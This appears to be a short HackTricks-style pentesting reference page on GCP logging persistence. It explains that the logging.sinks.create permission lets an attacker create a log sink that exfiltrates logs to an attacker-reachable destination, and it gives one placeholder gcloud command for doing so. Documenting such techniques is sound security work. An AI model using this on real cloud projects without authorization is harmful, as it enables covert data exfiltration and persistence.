# GCP - Logging Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Logging

Find more information about Logging in:

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

### `logging.sinks.create`

Create a sink to exfiltrate the logs to an attackers accessible destination:

<details>

<summary>Create logging sink</summary>

```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```

</details>

{{#include ../../../banners/hacktricks-training.md}}



